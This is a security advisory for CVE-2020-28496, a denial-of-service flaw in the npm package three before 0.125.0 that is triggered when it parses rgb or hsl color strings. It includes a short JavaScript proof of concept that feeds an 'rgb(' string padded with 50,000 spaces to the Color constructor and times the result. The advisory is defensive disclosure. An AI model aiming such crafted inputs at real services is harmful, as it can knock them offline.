GHSA-fq6p-x6j3-cmmq

Suggest an improvement
Source
https://github.com/advisories/GHSA-fq6p-x6j3-cmmq
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/03/GHSA-fq6p-x6j3-cmmq/GHSA-fq6p-x6j3-cmmq.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-fq6p-x6j3-cmmq
Aliases
  • CVE-2020-28496
Published
2021-03-01T19:57:16Z
Modified
2023-11-08T04:03:28.730603Z
Severity
  • 7.5 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H CVSS Calculator
Summary
Denial of service in three
Details

This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors.

PoC:

var three = require('three')
function build_blank(n) {
    var ret = "rgb("
    for (var i = 0; i < n; i++) {
        ret += " "
    }
    return ret + "";
}
var Color = three.Color
var time = Date.now();
new Color(build_blank(50000)) var time_cost = Date.now() - time;
console.log(time_cost + " ms")
Database specific
{
    "cwe_ids": [
        "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-02-24T07:40:52Z",
    "nvd_published_at": "2021-02-18T15:15:00Z",
    "severity": "HIGH"
}
References

Affected packages

npm / three

Package

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
0.125.0

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/03/GHSA-fq6p-x6j3-cmmq/GHSA-fq6p-x6j3-cmmq.json"